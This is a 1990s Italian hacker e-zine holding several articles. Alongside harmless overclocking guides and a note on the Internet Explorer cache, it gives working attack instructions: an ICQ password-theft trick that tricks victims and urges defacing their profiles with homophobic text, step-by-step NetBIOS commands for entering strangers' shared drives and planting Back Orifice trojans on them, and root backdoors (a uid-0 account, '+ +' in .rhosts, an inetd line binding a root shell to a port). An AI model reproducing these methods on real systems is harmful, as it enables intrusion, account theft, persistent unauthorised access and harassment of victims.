cpu , in questo caso , moltiplica il clock di 66 MHz per 1 fattore di 2,5x ed ecco che interamente avremo la nostra frequenza di 166 MHz . Ma come caxxo fara' la cpu a sapere di quanto deve moltiplicare il segnale di clock che gli arriva dalla scheda madre ??? E' semplicemente 1a caxxata (N0bodY88 (c) hihihi fregato sul tempo ulnt :PPP) (questo termine e' mio e guai a chi me lo copia okki nobody ???? ) !!! Esistono infatti 3 coppie di pin (Bf0 , Bf1 , Bf2 , Bfi ...ahem ...no quella non centra ...) modificabili da chiunque che servono proprio a questo . In genere e' possibile modificare le impostazioni di Bf0 , 1 e 2 cambiando la posizione dei relativi jumpers (o ponticelli) oppure tramite una serie di microinterruttori . Nota che questi pin non dicono alla cpu "Ue' usa il fattore 3,0x" ma a seconda del valore logico (H o L) che essi hanno , la cpu interpreta la combinazione e quindi si predispone ad utilizzare il fattore di moltiplicazione associato a quella combinazione per la quale e' stata programmata . Ad es x i Pentium "classici" quelli cioe' privi della tecnologia mmx , la combinazione xyz viene "vista" come 1,5 ma non dai processori k6 : in tale stato , infatti , la cpu amd moltiplichera' il segnale di clock per 3,5x . La formula imp che bisogna ricordarsi e' ************************************************************************** * Frequenza Cpu = Frequenza Mainboard * Fattore di Moltiplicazione Usato * ************************************************************************** In definitiva , quindi , che cosa vuol dire "overcloccare" e come si fa ? Overcloccare una cpu significa semplicemente spingere questo componente elettronico a frequenze di clock superiori a quelle per la quale e' stata testata e venduta . Al proxximo numero by ULNTWH99 /---------------------------------------------------------------------\ | I C Q - EXPLOIT - Ovvero, come fottere le pass :) | \_____________________________________________________________________/ IO NON MI ASSUMO NESSUNA RESPONSABILITA' SU TUTTO QUESTO... SE VI SBATTONO IN GALERA SONO KAZZI VOSTRI :-) Ciao a tutti, in questo piccolissimo articolo vi spiego un modo semplice semplice per ottenere le password degli altri utenti di icq, per collegarsi col LORO uin e vedere i messaggi che dovrebbe ricevere il povero proprietario!! (e chissa'... anche HoT! ^_^) Una volta che avete rubato la pass, potete fare un sacco di altre cose... tipo CAMBIARE LE INFO!!! ad es. se la persona in questione e un uomo... inserite la stringa : "Sono gay dalla nascita... non provo vergogna a dirlo apertamente... mi piace avere sesso con uomini..." Naturalmente questo era un'esempio... voi potete inserire tutto quello che volete!!! ma non ditelo alla vittima... potete pagarne le conseguenze.... Inoltre, se siete lamer da morire, potete cambiare la password all'utente facendolo incazzare notevolmente!! (che ficata!!) Passiamo dunque al dilemma maggiore... come rubare la pass... :-) Il procedimento sembra difficile, ma in se X se... e un procedimento da bambini... 1. Connettetevi alla rete ed aprite icq 2. Prendete qualke fesso Online... 3. Adesso mandategli un msg dicendo di cambiare la sua e-mail di icq, con quella vostra solo per 5 minuti... e di dirti che appena avra' finito, dovra mandarti un msg di conferma... (Nota che se l'utente mette la sua e-mail, su icq non verra' aggiornata subito... dopo circa una ventina di mint.) ---------------Adesso c'e la parte principale...----------------------- 4. Aprite IcqExploit.htm contenuto nel file zip Sephy.zip 5. Inserite nell'apposito spazio, il suo numero di icq... (fate un copia e incolla...) 6. Premere RUBA PW e attendere qualke minuto... 7. Vi dovra' spuntare una pagina Html con la conferma della password.. e verra' scritto pure dove verra' mandata.. se l'utente avra' veramente scritto la tua e-mail allora la vedrete li'.. se invece della vostra, vedete la sua... meglio che scappate via di casa!!! :-) 8. Dopo una quindicina di minuti vi verra' spedita la password :-) ------------------- MA COSA FA DI PRECiSO ??? ------------------------- nel file htm, una volta inserito l'uin del fesso, e dopo aver premuto RUBA PW. il vostro browser si colleghera' alla pagina di ICQ, password dimenticate.. in poche parole, voi avete fatto richiesta di aver smarrito la password e voi l'hanno mandata all'indirizzo e-mail presente nel numero di ICQ dato... (Che in quel momento era il vostro!!!) quindi... appena vedete la scritta : "The password for UIN xxxxxxx was sent to e-mail TuaEmail@Dominio.it" Potete sinceramente darvi una pacca sulla spalla e gridare forte: sono un lamah :-D Per commenti, critiche e denuncie (anzi, quest'ultima NO) mailatemi a Giorgio@videobank.it Sephiroth ------------------- http://utenti.tripod.it/SoftWord ------------------------- ------------------------- softword@hotmail.com ------------------------------- -------------------------- NickName: SoftWord -------------------------------- ****** ****** ****** ****** * * * * * * * ***** * * * * ****** * * * * * * ***** * * * * * * * ** * * * * ***** ***** * * * * * * * * * * * * * * * * * * * * * ****** * ****** * * ****** ****** ****** ****** * * Dalla famosissima serie "Volemamo stupirvi con effetti speciali, ma non avevamo un editor ASCII :-(" - Ore: 17:55; - Consumo cibo: niente xk sono in dieta, devo perdere 10 KG circa; - Telefilm: BayWatch; - Programma usato per editare questo testo: edit.com di WinDog 98; - Sistema usato: WinCat/z 98; Premessa: Queste informazioni le ho prese da altre FAQ e file di testo per riviste, o siti Internet specializzati in questi argomenti, e dalla mia esperienza in questo campo ormai da 1 anno. Comunque se dovessi commettere errori le criti- che sono ben accette (anche di ortografia ed italiano, sopratutto quello :-) ) ma solo quelle (sono da evitarsi insulti vari) oppure eventuali spiegazioni, mandatele alla mia E-Mail: softword@hotmail.com (che penso proprio di cambia- re visto che la Micro$oz non vuole proprio accelerare i server). ULTIMA COSA MA PIU' IMPORTANTE, NON SONO RESPONSABILE DI EVENTUALI "FUMINI" INDIANI CHE FUORIESCONO DAI VOSTRI CHIP, SCINTILLE O SCHERMI NERI CON HARD- DISK E SCHEDE MADRI CHE NON SI ACCENDONO PIU'. LE MODIFICHE CHE FATE LE ESE- GUITE VOI E NON IO QUINDI ESEGUITELI COME E SOLO COME VI DICO IO. IO VI DO' I MIE CONSIGLI SU ESPERIENZE SIA MIE CHE QUELLE DI ALTRI A CUI SONO RIUSCITE BENISSIMO. COMUNQUE VI CONSIGLIO DI FARVI DARE UNA MANO DA UN VOSTRO AMICO CHE "MASTICA" UN PO DI ELETTRONICA. +oO000000000Oo+ | I N D I C E | +oO000000000Oo+ 1. Overclock processori tutte le marche; 2. Overclock schede Voodoo versione 1 a 65 MHZ (non lo trovate da nessuna par- te su come fare :-) Solo il vostro -=SoftWord=- ve lo dice); 3. I consigli del Clocker; +oO000000000Oo+ 1. Overclock processori tutte le marche: i processori che ho overcloccato sono: P90 overclockato a P120 P200 MMX overclockato a P250 MMX Processore attuale: AMD K6-2 3D 350 overclocato a 400 Con schede madri JetWay 542A ed una vecchia TMC 200MMX Di norma per overclockare bene un processore bisogna prima alzare la frequen- za del bus (quello per intenderci che inizia con 66/75/83/90/100/da 100 a 133), io consiglio vivamente questo xk surriscalda meno il processore e aiuta programmi tipo CPUIdle o Rain o altri a raffreddarla, proprio perch questo settaggio non riguarda proprio specificatamente la CPU ma quelle connesse ai BUS PCI, AGP, ISA, ecc., proprio x questo bisogna fare molta attenzione a quel- le periferiche tipo Hard-Disk vecchi che con frequenze non standard (che sono la 75 e 83), possono manomettere il funzionamento dei loro chips. Per con varie prove effettuate ho notato che gli hard-disk di "marca" come Quantum, Samsung, insomma le + consociute, non succede niente. Se invece avete queste periferiche a "rischio" con queste frequenze di BUS esterno allora potete provare ad alzare direttamente il moltiplicatore della CPU. Questa una tavola (solo a scopo esplicativo) che dimostra come calcola- re la frequenza esterna: BUS Esterno | Moltiplicatore | Risultato velocit in MHZ della CPU| ------------------------------------------------------------------- 66 | 1.5 | 100 | 75 | 1.5 | 120 | 83 | 1.5 | 130 | 90 | 1.5 | 140/150 | 100 | 1.5 | 150 | ------------+----------------+------------------------------------| 66 | 2.0 | 130 | 75 | 2.0 | 150 | 83 | 2.0 | 166 | 90 | 2.0 | 180 | 100 | 2.0 | 200 | ------------+----------------+------------------------------------| 66 | 2.5 | 166/170 | 75 | 2.5 | 180/190 | 83 | 2.5 | 200/210 | 90 | 2.5 | 233 | 100 | 2.5 | 250 | ------------+----------------+------------------------------------| 66 | 3.0 | 200 | 75 | 3.0 | 233 | 83 | 3.0 | 250 | 90 | 3.0 | 270/280 | 100 | 3.0 | 300 | ------------+----------------+------------------------------------| 66 | 3.5 | 233 | 75 | 3.5 | 266 | 83 | 3.5 | 290 | 90 | 3.5 | 320/333 | 100 | 3.5 | 350 | ------------+----------------+------------------------------------| 66 | 4.0 | 266 | 75 | 4.0 | 300 | 83 | 4.0 | 333 | 90 | 4.0 | 350/360 | 100 | 4.0 | 400 | ------------+----------------+------------------------------------| 66 | 4.5 | 300 | 75 | 4.5 | 333/340 | 83 | 4.5 | 380 | 90 | 4.5 | 400 | 100 | 4.5 | 450 | ------------+----------------+------------------------------------| 100 | 5.0 | 500 | ------------+----------------+------------------------------------| P.S.: Non sono andato oltre xk al momento in cui scrivo non ci sono processo- ri capaci di andare oltre (senza overclock intendo). Come avrete capito si tratta del prodotto tra moltiplicatore e BUS cio per ottenere una frequenza esterna di 400 ci sono molte possibilit: 100 x 4.0 = 400 83 x 4.5 = 380 ecc...... Alla risultato della frequenza esterna ci sono doppi risultati; questo dipen- de da vari fattori, il processore oppure e sopratutto la Tabella di Codifica interna dei Bios che arrotonda la frequenza. Un altro trucco consiste nell'alzare il voltaggio della CPU, questo riscalder ancora di pi il Chip ma aumenter la stabilit del processore in caso di overclock, alcune schede madri permettono un incremento di 0,1 volt. Andate per grado troverete la soluzione ideale e attenti alla temperatura. Se volete aumentare ancora di + la frequenza consiglio di applicare un dis- sipatore + grosso ed una ventola + grossa, in questo modo si riesce ad aumen- tare la frequenza di 100 MHZ. Ho provato a portare il mio K6-2 350 a 450 senza ventoloni, dissipatori, o Boyler interni al cabinet :-), beh vi GIURO (so che non si giura mai ma in questo caso lo faccio) sotto WinPesce non si avvia neanche il DOS 7.x, invece sotto Linux addirittura in stato di StandBy raffredda la CPU e funziona a 450, mentre in WinFiletto di patessa no. Questo dimostra l'efficacia di alcuni pro- grammi come Rain (io lo consiglio xk occupa poco spazio, solo un file e raffredda di +) capaci di aiutare l'overclock, ma attenzione solo se non si usa al 100% la CPU, per esempio per tenere il computer acceso per fare un calcolo di chimica o matematica complessi, come nel mio K6-2 portato a 450, ho provato a vedere se reggeva compilando questo semplice programma: --- ovclk.c ------------------------ Taglia qui ------------------------------ #include int t = 0; void main() { for( ; ; t++) printf("%d\n", t); } ------------------------------------ Taglia qui ------------------------------ Compilatelo con: gcc -o ovclk ovclk.c Eseguendo 2 copie nel nxtern in KDE e attivando tutte le shell in modalit testo ed in queste avviando poi il programma, dopo pochissimi secondi, a mio malincuore, ho dovuto resettare subito tutto xk si chiudevano i processi senza alcun motivo ed in + il dissipatore "BRUCIAVA". Con questo ho finito sulle CPU, passiamo alle mitiche Voodoo 1. +oO000000000Oo+ 2. Overclock schede Voodoo versione 1 a 65 MHZ: ATTENZIONE!!!!: SCONSIGLIO VIVAMENTE ALLE PERSONE CHE HANNO PROBLEMI DI CUORE DI LEGGERE QUESTO ARTICOLO, IN QUANTO QUESTA COSA NON L'HA MAI PROVATA NESSUNO E SPINGE AI LIMITI FISICI DEI CHIP DELLE SCHEDE. IO VI HO AVVERTITI, DOPO NON VENITE DA ME A CHIEDERMI IL RIMBORSO DELLE SPESE DELL'OSPEDALE. All'inizio possedevo una Flash 3D, poi una Magic 3D poi, dopo averla trovata solo in una fiera a Piacenza alla modica cifra di 270.000 una mitica Canopus Pure 3D 1, mitica xk sembra fatta apposta per i Clockers (NON HANNO DATO ANCORA UN NOME AGLI "OVERCLOCKATORI" ALLORA LO DO' IO) semplicemente xk ci sono 2 fori posti diagonalmente al chip voodoo + piccolo, che guarda caso quello che scalda di +), fatti apposta per aggangiarci su di tutto, come un dissipartore + ventola o come fanno molte case costruttrici, solo una ventola, poi possiede anche (questo l'ho dedotto leggendo la preview della Pure 3D 2 con Voodoo 2) ebbene si, un connettore per l'alimentazione di una eventuale ventola moooooolto comodo devo dire e, come se non bastasse la scheda cos nuda e cruda arriva a 60 MHZ con i suoi driver (ma anche quelli normali). Per arrivare alla frequenza di 65 MHZ, che come ho gi detto il massimo che si riesce ad arrivare con questi chip dopodich la voodoo incomincia a vedere il paradiso della 3DFX (Vedasi cassonetto della spazzatura), bisogna applicare su ognuno dei due chip Voodoo l'accopiata ventola + dissipatore con pasta siliconica (che rimando al capitolo 3 su come risparmiare), eseguite questo procedimento sia per le CPU che per le Voodoo. Se proprio volete risparmiare ancora, fate come ho fatto io: prendete un CPU Cooler (altro che non che il kit ventola + dissipatore) che abbia il dissipatore che in larghezza o lunghezza o meglio ancora tutti e due i lati (cos si raffredda una zona + ampia) quella che ho trovato miracolosamente io larga e lunga 6.5 cm, ed una ventola secondaria magari di un vecchio 486 o altro. A questo punto svitate la ventola sul dissipatore e fate in modo di riavvitarle tutte e due sul dis- sipatore anche se escono al di fuori dello stesso. Prendete la pasta siliconica ed applicatene un po sia sulla superficie del chip che del dissipatore a questo punto teneteli attaccati per circa 5 minuti con le vostre manine, se vedete che si staccano ancora dovete ripulire le superfici impastate con alcool etilico e riprovare magari applicandone un po di pi. -Per quelli che hanno una presa sulla loro Voodoo (di solito di colore bianco sulla Canopus) che ho descritto nell'introduzione: -Tagliate le prese di alimentazione delle 2 ventoline (quelle bianche per intenderci), queste non servono + non so magari conservatele per sostituire eventuale connettori che si rompono o fare estensioni in caso abbiate finito quelli presenti nel vostro cabinet. Vi serve sono uno di quei connettori piccoli che di solito si collegano per il Turbo Switch, che come saprete, se non lo sapete ve lo dico io, i processori dalla serie "Pentium" in poi non possiedono la capacit di turbo come i 486 e non so i 386. Prendete questo (di solito piccolo rettangolare molto sottile di colore nero) e col- legate fra di loro il cavo di colore rosso delle ventole e separatamente quelli neri delle due ventole, in questo modo alimentate due ventole con una presa. In fine (finalmente non ne posso + di scrivere, sono le ore 19:40) guardate con un tester o semplicemente con un led quale il polo positivo e negativo della presina bianca posta sulla scheda quella vicino alle piste del connettore PCI ed attaccateci il connettore appena creato per intenderci; Ecco + 0 - l'immagine (schematizzata) della mia Voodoo dopo avergli attaccato il dissipatore e le due ventole: | ----+--------------------+--+ | | |O -------------------------- Presa di alimentazio- | | ne per ventoline +--| +-------------+ | | | |||||||||||||||---------- Dissipatore grande | | +-------++-------+ | | | | || | | | | | || | | Ventola n 1 ------------| || |--------- Ventola n 2 | | +-------++-------+ | | | ||||||||||||||| | | | +-------------+ | | | | +--| | | | |____________________| Penso che dopo che qcuno vedr questo disegna mi dar il premio no-bel (o no- schif). Ultima nota: questa modifica purtroppo occuper ben due slot nel senso che almeno la mia occupa con tutto montato ben 3 cm di altezza. 3. I consigli del Clocker: 1. Invece di usare la pasta siliconica che per un tubettino piccolo costa ben 100.000 , comprate la "Pasta Rossa", che tutti i meccanici conosceranno, ne esiste anche una nera, ma io consiglio quella rossa della Arexons xk trasmette meglio il calore e regge a temperature da -70C a + 300C; 2. Se per i vostri OverClock dovreste notare un surriscaldamento eccessivo del dissipatore, spegnete immediatamente il computer xk se si scalda questo che resiste molto al calore, figuriamoci a che temperatura sia il Chip; 3. Le CPU di solito dovrebbero resistere se non sbaglio fino a 50-60C dopo di tale soglia si rischia di bruciare la CPU; 4. Cercate quanto pi possibile di tenere con programmi o dissipatore grandi e ventole altrettanto grandi di raffreddare i chip. Per le CPU consiglio di usare programmi tipo Rain (che troverete qui in allegato oppure al mio sito indicato nell'intestiozione di questa guida) o altri programmi. Per questo numero finita sono le ore 20:25 e finalmente ho finito, spero con l'autorizzazione di N0bodY88 di iniziare a scrivere un corso su Assembler e C e sul cracking e Html e programmazione Giochi in ambiente DOS intanto lo ringrazio per avermi dato la possibilit di dare il mio aiuto a gente che cercava qualche info in pi sugli argomenti appena descritti. Se doveste capitare i IRC io sono in #hacker2, #warezitalia, a volte in #newtgm quando non lo takkano, #funstaff se ]Games[ si decidesse ad aprirlo, il mio NickName SoftWord numero ICQ 33483513. UN ANNUNCIO A TUTTI: SE QUALCUNO CONOSCE UN BREVE TUTORIAL DI SORGENTI CHE SPIEGANO COME PROGRAMMARE IN AMBIENTE WINDOZ COL C SENZA CLASSI (NON MI PIACCIONO TANTO SI CAMPA ANCHE SENZA) E' PREGATO E SUPPLICATO DALLO SCRIVENTE DI INVIARMI L'INDIRIZZO INTERNET DOVE REPERIRE SUDDETTA DOCUMENTAZIONE. Ciauz a tutti e concludo con una famossima frase della Micro$oft: "Windows 98: Do you want to Reinstall today ?". My manifest -=SoftWord=- ͻ Ŀ CHE ABBIANO CAPITO QUALCOSA ? ٺ ͼ Salve a tutti!!! Ecco un altro articolo per questa grande e-zine .(continuate cos)! Questa volta voglio parlarvi di una cosa che mi ha stupito moltissimo. Il 9 Aprile sono andato a Bologna per il Futurshow (quante figheeee) e mentre ero nei dintorni dello stand della tin, una ragazza che lavorava li mi ha dato un piccolo libretto intitolato "Il dizionario di Internet". Sicuro di aver beccato la solita cazzata lo prendo e me lo metto in tasca. Fin qua direte voi. "E con ci?".. come ho avuto un po' di tempo ho iniziato a sfogliare il dizionario, trovando le solite cose ...Irc, Ftp, Telnet ecc. Arriviamo al dunque. Per caso ho cercato la parola "Hacker" sicuro di trovare le solite definizioni date da chi cerca di parlare di ci che non conosce, come "Pirati Informatici" o "Criminali della Rete". Ebbene no.. ..ecco quello che dice.. [.] Negli ultimi tempi, per, nata una distinzione fra "hacker" e "cracker": mentre questi ultimi sono i criminali del futuro, il termine hacker ha perso ogni eccezione criminale o negativa. Addirittura cercano oggi di assumere hackers che studino in maniera ortodossa le loro tecnologie, per scovarne i punti deboli e migliorarli. [.] FABIO ROSSI ha scritto queste definizioni ..forse uno dei pochi che ha capito qualcosa Ja[3]Ck ͻ Ŀ HACKING DEI COMPUTER NETBIOSSATI ٺ ͼ * Introduzione: Eccomi qua. Questa la prima volta che scrivo un articolo per Newbies, anche se N0bodY88 mi prega di farlo fin da prima dell'uscita del numero 1 (non ho mai avuto voglia di scrivere qualcosa per lui, poveretto=)). Dato che mi faceva molta pena ho deciso di scrivere sto articolozzo sul Netbios. E voi dite: "e mo che sto Netbios??". Il Netbios una cosina fatta da Microsfott che serve a sfruttare le reti locali LAN IPX. Dato che il nostro caro amico Bill fissato con integrare tutto con internet ha integrato pure questo Netbios, rendendolo facilmente accessibile da chiunque via rete. Ma che simpatico questo nostro caro amico Bill. * Configurazione del pc: Per sfruttare le risorse di questa miniera d'oro chiamata netbios bisogna configurare il proprio pc con su montato winzozz T. Eh si mi dispiace ma il caro sistema disoperativo del vecchio Bill necessario. Ora andate nelle propriet della vostra connessione di accesso remoto, in tipi di server, e mettete accedi alla rete. Fatto ci andate in avvio\impostazioni\pannello di controllo\rete e aggiungete i seguenti client: Client per reti microsoft Client per reti netware (che automaticamente aggiunger il protocollo compatibile IPX/SPX, se non lo fa fatelo voi) E il protocollo Netbios. Fatto ci andate nelle propriet del client per reti microsoft e selezionate connessione rapida, dopodich nelle propriet del protocollo compatibile IPX/SPX mettete attiva Netbios. Fate OK e dopo aver installato i driver (per i piratoni ci vuole il cd di windows) riavviate il pc. Ora siete pronti per fare kasino!!! * Hacking dei computer Netbiossati: Volendo fare un po' di teoria vi dir che il Netbios lavora sulla porta 139 TCP/UDP (si proprio quella del winnuke). Prima di tutto beccate un computer col sysadmin scemo e il Netbios attivo (come farlo ve lo spiego dopo). Vi faccio un esempio pratico cos anche i pi grulli capiscono come funziona la cosa (senza offesa per i pi grulli hihi=)). Allora io becco l'ip della macchina (212.216.34.144) poi vado nel prompt di msdos (evvivaa niente winzozz T per ora) e scrivo: cd x:\windows nbtstat -A 212.216.34.144 Vi risponder: NetBIOS Remote Machine Name Table Name Type Status ---------------------------------------------------------------------------- HALL9000 <00> UNIQUE Registered WORKGROUP <00> UNIQUE Registered HALL9000 <03> UNIQUE Registered HALL9000 <20> UNIQUE Registered WORKGROUP <1E> UNIQUE Registered A questo punto ci segnamo il primo nome della lista, HALL9000 (notate che nel Netbios tutto scritto maiuscolo), e facciamo: edit x:\windows\lmhosts Nell'editor del dos scriviamo: 212.216.34.144 HALL9000 #PRE Il tag #PRE fisso e va sempre messo, gli spazi sono fatti col TAB (non usate altro). Salvate e uscite. Ora per caricare questo file scrivete: nbtstat -R Vi dovrebbe rispondere (se vi risponde altro o avete sbagliato a editare il file oppure avete configurato male il pc): Successful purge and preload of the NBT Remote Cache Name Table. Ora vediamo se ci sono risorse condivise nel pc. Fate: net view \\HALL9000 Se non ci sono risorse condivise o non si ha il permesso di accedervi vi risponder con un errore, altrimenti vi dir: Risorse condivise su \\HALL9000 Condivisione Tipo Commento ________________________________________________ C Disco D Disco E Disco F Disco G Disco HP Stampa Esecuzione comando riuscita. Tombola!! Ci siamo abbiamo i nomi delle sue risorse condivise. Ora basta uscire dal dos e andare in gestione risorse (si avete letto bene). Nel menu in alto andate in Strumenti\Connetti unit di rete. Ora come avrete gi capito si assegna una lettera al vostro "nuovo hd" che avrete (cio l'hd dell'altro) e scrivete \\HALL9000\C per esplorare la condivisione C (che probabilmente sar il C: del tipo), \\HALL9000\D per la condivisione D e cos via. Avrete notato sicuramente che oltre ai vari dischi li c' anche la condivisione HP di tipo "Stampa". Vuol dire semplicemente che quella condivisione connessa alla stampante del tipo e potete stampare i vostri file con la sua stampante.. divertente no?=). Naturalmente sar tutto abbastanza lento perch avverr via internet, non sar come esplorare i vostri hd di certo. Bene ora che sapete come accedere agli hd passiamo a cose pi importanti. Prima di tutto vi chiederete come fare a prendere e a mettere file. E' semplice, dato che l'hd in remoto come se fosse il vostro, quindi basta fare copia e incolla. Come fare invece per eseguire i file? Non cos semplice come pensiate, cliccando sul file .exe in remoto si eseguir sul VOSTRO pc (ovviamente) quindi dovete giocare d'astuzia. Se volete mettere un trojan settatelo in modo da mandarvi una email con l'ip ogni volta che il pc va online, dopodiche' mettete questo trojan in c:\windows\menu avvio\programmi\esecuzione automatica\ oppure in c:\windows\start menu\program files\startup (non ne sono sicuro pero', non ho la versione inglese di windows). Poi fate in modo di riavviare il pc se e' un server fisso, altrimenti aspettate il giorno dopo (per vedere se e' un server guardate la lista di ID dell'nbtstat -A, se ce ne sono pi di 4-5 allora probabilmente server). Smurfatelo, nukkatelo, provate tutto. Consiglio di usare il BO dato che all'avvio si cancella da esecuzione automatica. Inoltre quando entrate con gestione risorse se il sysadmin un po' furbo vi verra' chiesta una password (non preoccupatevi, cio' e' molto raro). Exploits o un brute force per queste password purtroppo non ne conosco, se voi si allora mandatemi informazioni. Ultima cosa, quando i nomi degli ID o delle condivisioni contengono spazi dovete usare gli "". Ad esempio se con nbtstat -A troviamo il nome TRA LLA allora nel lmhosts dovremo scrivere: numero_ip "TRA LLA" #PRE E poi net view "\\TRA LLA" E se vediamo che ha una condivisione chiamata BLA BLA allora faremo in gestione risorse: "\\TRA LLA\BLA BLA". * Trovare i computer Netbiossati: Questo molto semplice, basta un programma chiamato Legion (lo trovate su http://rhino9.ml.org o al mio sito http://kalidor.tsx.org) che scanna dei range di ip. Io consiglio di provare sempre il dominio 212.216.* dato che ho scoperto che quella zona strapiena di ip Netbiossati (infatti la zona principale della TIN;-)). * Ultima parola: L'articolo finito, spero sia stato esauriente, cmq se avete domande scrivetemi a kalidor@tin.it. Ringrazio N0body per avermi costretto a scrivere questo articolo, almeno ho trovato qualcosa da fare. Kalidor (mailto:kalidor@tin.it http://kalidor.tsx.org) ͻ Ŀ TRE SEMPLICI BACKDOORS ٺ ͼ Created by: Hamelin 1 ) aggiungere un account 2 ) manipolare .rhosts 3 ) crearsi una porta sul sistema Prima di tutto bisogna spiegare il significato di backdoor (lo dico per i newbies che leggono per la prima volta testi sull'hacking..) : in poche parole un metodo che serve a mantenere l'accesso su un sistema dopo che il system administrator si accorto di una eventuale intrusione e sul metodo usato dall'hacker per penetrare. Crearsi una delle backdoor elencate sopra non difficile e molte volte risultano efficaci (soprattutto se il sysop non controlla spesso i files di sistema...). NOTA IMPORTANTE: per eseguirle nella maggior parte delle volte dovrete avere l'accesso con UID 0 e GID 0 ..ovvero come root! 1 ) Una delle prime cose che farei una volta entrato nel sistema aggiungere un account al file delle password (etc/passwd) in modo da poter rientrare con estrema facilit.Il comando da eseguire : adduser Beppe (Beppe il nome che volete...) passwd Enricolatalpa (Enrico ecc. la password che poi userete per loggarvi...) Ovviamente sarebbe meglio non usare un nome come Beppe perch se il sysop dovesse leggere il file delle passwd (e lo fa...) noterebbe subito il nomignolo e potrebbe insospettirsi... Una buona idea sarebbe usare ad esempio - syst - . Ricordatevi anche di settare il vostro uid a 0 cos come il gid in modo da avere accesso con privilegi massimi! 2 ) Questa una backdoor molto usata e permetterebbe di avere un accesso senza passwd! Innanzi tutto bene chiarire cos' Rlogin.Questo bel programmino permette di loggarsi senza bisogno di una password (man rlogin , per maggiori informazioni ...) ma si possono usare anche rsh e rexec. Cmq, quello che dovrete fare editare il file .rhosts (di solito nella directory /etc oppure nelle home dei vari utenti) ed aggiungere un bel + + . Se ci dovessero essere gi degli account baster aggiungere i pi sotto. In questo modo tutti potranno eccedere al sistema semplicemente usando rlogin. Se invece volete essere masochisti potrete inserire questo nel file: vostro_server vostro_username Ovviamente altamente sconsigliato perch se il system operator dovesse editare il file vedr praticamente la vostra carta di identit (e mandarvi i carramba a casa in mezz'ora),potreste invece usare l'account di qualcun altro ( qui tornano utili Back Orifice e Netbus) ma per farlo dovreste essere veramente bastardi. Ultima cosa per quelli che non hanno voglia di vedersi il manuale di rlogin....la sintassi la seguente: rlogin -l username host 3 )Quest'ultima backdoor un p pi complicata delle altre (se vi sembra tanto difficile allora non conoscete unix 'azz ).La prima cosa da fare editare il file services dove sono elecanti tutti i servizi e le rispettive porte.Adesso trovate una porta disponibile ad esempio la 22. .... - file services - ftp-data 20/tcp ftp 21/tcp telnet 23/tcp ------> come vedete manca la 22.. perche' non la creiamo....noi? quindi aggiungete questa linea sotto ftp e sopra telnet:(rifaccio tutto per gli Homer Simpson all'ascolto v... : ) ftp-data 20/tcp ftp 21/tcp hamelin 22/tcp telnet 23/tcp Analizziamo: Hamelin 22 / tcp | | | | | | nome servizio porta protocollo usato dal servizio Ok,salviamo tutto ed editiamo un altro bel file : inetd.conf In esso possiamo trovare scritti tutti i servizi attivi e non (ovviamente noi attiveremo qualcosa eh!eh! : ) Troverete certamente righe come queste: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Analizziamo: 1)nome daemon 2)tipo di connessione 3)protocollo usato (che non a quadretti o a righe...) 4)tipo di daemon 5)user associato al daemon 6)programma da eseguire al l'attivazione della connessione 7)programma con le opzioni da eseguire Quello che dobbiamo fare adesso aggiungere la nostra porta.....lo facciamo cosi': hamelin stream tcp nowait /bin/bash /bash -i In poche parole abbiamo attivato la connessione sulla porta 22 e l'abbiamo associata alla shell suid in modo da trovarci dentro al sistema con accesso di root semplicemente telnettandoci su st famosa porta 22 (man telnet per maggiori informazioni). Con questo ho concluso, spero che sia stato tutto chiaro in caso contrario scrivete pure a bgates@microsoft.com cioe' a hamelin@freemail.it ! dalla regia mi stanno dicendo una cosa...ah si'..... compratevi l'ultimo album dei Blur che e' stupendo. SEe Ya! HaMelIn ͻ Ŀ CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? ٺ ͼ PREMESSA = tutto cio' che dico in questo articolo e' prima di tutto considerato inutile da molte persone e poi e' frutto di mie ipotesi quindi potrebbe essere tutto sbagliato, ma almeno ci ho provato :) Ciao a tutti belli e brutti (si comincia bene...) allora in questo articoletto vi parlero' di una cosa che scoprii qualke mese fa e che scrissi sul ng ahccc dove confermarono (tnx Master) i miei sospetti, cioe' che avevo trovato i file della cache di ie 4.0 (peccato che io e le guide di win non andiamo d'accordo... se no mi sarei evitata una bakkettato dal Maestro eheheheheh). L'idea di parlarne qui sulla e-zine mi e' venuta a causa di un newbie che mi ha contattato dicendo che aveva ascoltato un midi navigando in un sito ma che, una volta offline, del midi non ce ne era + traccia....o almeno non dove si va a guardare come prima cosa, cioe' nella dir C:\WINDOWS\TEMPORARY INTERNET FILES. In essa vengono salvate molte pagine e immagini dei siti nei quali abbiamo navigato quel poko di tempo che telecozz ci ha permesso di farci spennare.... ma non tutte. E qui vi chiederete...come mai? E io vi rispondero'...e che ne so io??? Pero'..asp...non smettete di leggere...ehehehehe...a prescindere dal fatto che non so xche' alcuni .htm .html .gif .jpg ci sono e altri no....ma smanettando in uno di quei pomeriggi di quei gg che non hai un cazz da fare (non avevo ankora scoperto l'hacking...e tutto quello che c'e' da imparare!) mi sono detto "Ma se io scarico x y e z xche' vedo solo x e y ?" e cosi' ho deciso di provare ad andare nella dir C:\WINDOWS, a scegliere "Trova..." dal menu che appariva clikkando col tasto destro del topo e poi clikkando sul tasto Trova e...tadan! La ricerca mi fa vedere la solita sfilza di file html e grafici ma..aspetta un attimo....che cosa sono quelle 4 directory con quei nomi strani? Come notai subito i famosi file che non trovavo mi accorsi subito che erano contenuti in quelle dir....e x la cronaca...non ho mai capito che criterio usa ie x mettere i file nella dir principale o in una delle 4 sottodir. Sta di fatto che le 4 dir trovate hanno nomi strani, sembrano quasi casuali... x esempio adesso nella cache io ho 4 directory che hanno i seguenti nomi: 0L2R0L2J IDWRGTUJ OKT4XOHO KTE309UJ O sono crittate molto bene o sono io pirla (la seconda che hai detto...hihihi). Se vi doveste trovare con poco spazio su hd (succede!!!) e volete cancellare il contenuto della dir C:\WINDOWS\TEMPORARY INTERNET FILES quindi non andateci dentro con explorer o con gestione risorse ma fate un bel trova e cancellate file e directory. Sperando che cio' vi possa essere utili vi lascio con una cosa che mi disse un hacker moooooooolto tempo fa quando bo non sapevo neanche che fosse e unix credevo fosse un marca di dentifricio...."Prova e riprova e se va male... tenta ancora". Un'altra cosa che vi devo dire...non cancellate il file index.dat anke perche' non si puo' cancellare (almeno non direttamente...) ma cmq se fate il Trova vedrete che ve lo mette prima delle 4 famose dir che cambiano nome ogni volta che le cancellate (ma se dico caxxate mailatemi x correggermi ed aiutare me e tutti gli altri lettori) e dei centinaia di file restanti dai ns giri in rete...cosa strana ma utile 